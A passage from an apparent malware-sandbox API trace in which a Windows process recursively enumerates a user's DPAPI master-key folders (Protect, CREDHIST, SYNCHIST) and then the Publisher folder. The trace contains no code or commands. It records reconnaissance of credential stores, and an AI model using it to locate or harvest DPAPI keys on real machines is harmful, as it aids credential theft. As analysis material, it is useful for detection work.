lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0055.429] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.429] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0055.429] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0055.429] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0055.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63cb78 | out: hHeap=0x540000) returned 1 [0055.429] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0055.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0055.429] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa024e210, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa024e210, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0055.429] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1 [0055.429] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0055.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0055.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9a8 | out: hHeap=0x540000) returned 1 [0055.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63c9a8 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.430] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0055.430] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa024e210, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa024e210, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.430] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.430] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf923e050, ftCreationTime.dwHighDateTime=0x1d3aab9, ftLastAccessTime.dwLowDateTime=0xf923e050, ftLastAccessTime.dwHighDateTime=0x1d3aab9, ftLastWriteTime.dwLowDateTime=0xf923e050, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="02540a10-7eb7-4b20-a8c7-470f8986389c", cAlternateFileName="02540A~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdc5ea830, ftCreationTime.dwHighDateTime=0x1d41fce, ftLastAccessTime.dwLowDateTime=0xdc5ea830, ftLastAccessTime.dwHighDateTime=0x1d41fce, ftLastWriteTime.dwLowDateTime=0xdc5ea830, ftLastWriteTime.dwHighDateTime=0x1d41fce, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="0e15476d-d8fe-46ca-8099-ebdcf80f637c", cAlternateFileName="0E1547~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6409280, ftCreationTime.dwHighDateTime=0x1d4ae2c, ftLastAccessTime.dwLowDateTime=0xf6409280, ftLastAccessTime.dwHighDateTime=0x1d4ae2c, ftLastWriteTime.dwLowDateTime=0xf6409280, ftLastWriteTime.dwHighDateTime=0x1d4ae2c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="102a7bc8-3f85-4bb4-840a-38257d2965d2", cAlternateFileName="102A7B~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542b0350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542b0350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x542b0350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2be989a0-16a1-424b-9211-51aa3bb43e5d", cAlternateFileName="2BE989~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa024e210, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa024e210, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa024e210, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="474de0f9-9bcf-4e30-9f43-e5cb949b10d8", cAlternateFileName="474DE0~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x17ffec90, ftCreationTime.dwHighDateTime=0x1d3373c, ftLastAccessTime.dwLowDateTime=0x17ffec90, ftLastAccessTime.dwHighDateTime=0x1d3373c, ftLastWriteTime.dwLowDateTime=0x18024df0, ftLastWriteTime.dwHighDateTime=0x1d3373c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="fbbe72db-afd8-443b-88dd-64b20388700d", cAlternateFileName="FBBE72~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63cb78 [0055.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x562228 [0055.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63cb78 | out: hHeap=0x540000) returned 1 [0055.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.430] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0055.431] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa024e210, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa024e210, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf923e050, ftCreationTime.dwHighDateTime=0x1d3aab9, ftLastAccessTime.dwLowDateTime=0xf923e050, ftLastAccessTime.dwHighDateTime=0x1d3aab9, ftLastWriteTime.dwLowDateTime=0xf923e050, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="02540a10-7eb7-4b20-a8c7-470f8986389c", cAlternateFileName="02540A~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdc5ea830, ftCreationTime.dwHighDateTime=0x1d41fce, ftLastAccessTime.dwLowDateTime=0xdc5ea830, ftLastAccessTime.dwHighDateTime=0x1d41fce, ftLastWriteTime.dwLowDateTime=0xdc5ea830, ftLastWriteTime.dwHighDateTime=0x1d41fce, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="0e15476d-d8fe-46ca-8099-ebdcf80f637c", cAlternateFileName="0E1547~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6409280, ftCreationTime.dwHighDateTime=0x1d4ae2c, ftLastAccessTime.dwLowDateTime=0xf6409280, ftLastAccessTime.dwHighDateTime=0x1d4ae2c, ftLastWriteTime.dwLowDateTime=0xf6409280, ftLastWriteTime.dwHighDateTime=0x1d4ae2c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="102a7bc8-3f85-4bb4-840a-38257d2965d2", cAlternateFileName="102A7B~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542b0350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542b0350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x542b0350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2be989a0-16a1-424b-9211-51aa3bb43e5d", cAlternateFileName="2BE989~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa024e210, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa024e210, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa024e210, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="474de0f9-9bcf-4e30-9f43-e5cb949b10d8", cAlternateFileName="474DE0~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x17ffec90, ftCreationTime.dwHighDateTime=0x1d3373c, ftLastAccessTime.dwLowDateTime=0x17ffec90, ftLastAccessTime.dwHighDateTime=0x1d3373c, ftLastWriteTime.dwLowDateTime=0x18024df0, ftLastWriteTime.dwHighDateTime=0x1d3373c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="fbbe72db-afd8-443b-88dd-64b20388700d", cAlternateFileName="FBBE72~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0055.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0055.431] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0055.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9a8 | out: hHeap=0x540000) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0055.431] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0055.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0055.431] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.432] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.433] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.433] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0055.433] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0055.434] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa024e210, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa024e210, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0055.434] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0055.434] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0055.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0055.434] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0055.434] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0055.434] lstrcmpW (lpString1="Publisher", lpString2=".") returned 1 [0055.434] lstrcmpW (lpString1="Publisher", lpString2="..") returned 1 [0055.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0055.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0055.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0055.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0055.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0055.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.434] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.490] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.490] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.490] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.490] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.490] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0055.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.491] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.491] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.491] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.491] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, 